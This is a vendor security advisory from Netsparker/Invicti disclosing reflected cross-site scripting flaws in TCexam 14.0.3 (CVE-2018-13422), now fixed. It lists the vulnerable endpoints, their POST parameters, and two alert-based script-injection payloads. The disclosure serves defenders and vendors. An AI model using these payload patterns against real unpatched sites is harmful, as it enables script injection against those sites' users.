Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS in TCexam 14.0.3
Affected Software: TCexam
Affected Versions: 14.0.3
Homepage: https://tcexam.org/
Vulnerability: Multiple Reflected XSS
Severity: High
Status: Fixed
CVE-ID : CVE-2018-13422
CVSS Score (3.0) :CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-003

Technical Details
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URL : /public/code/tce_password_reset.php
Parameter Name :  ff_required_labels
Parameter Type : POST
Attack Pattern : <scRipt>alert(0x003726)</scRipt>


URL : /public/code/tce_user_registration.php
Parameter Name : xl_user_birthdate
Parameter Type : POST
Attack Pattern : '"></style></scRipt><scRipt>alert(0x002ECF)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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14th May 2018 - First Contact
6th July 2018 - Vendor Fixed
9th July 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.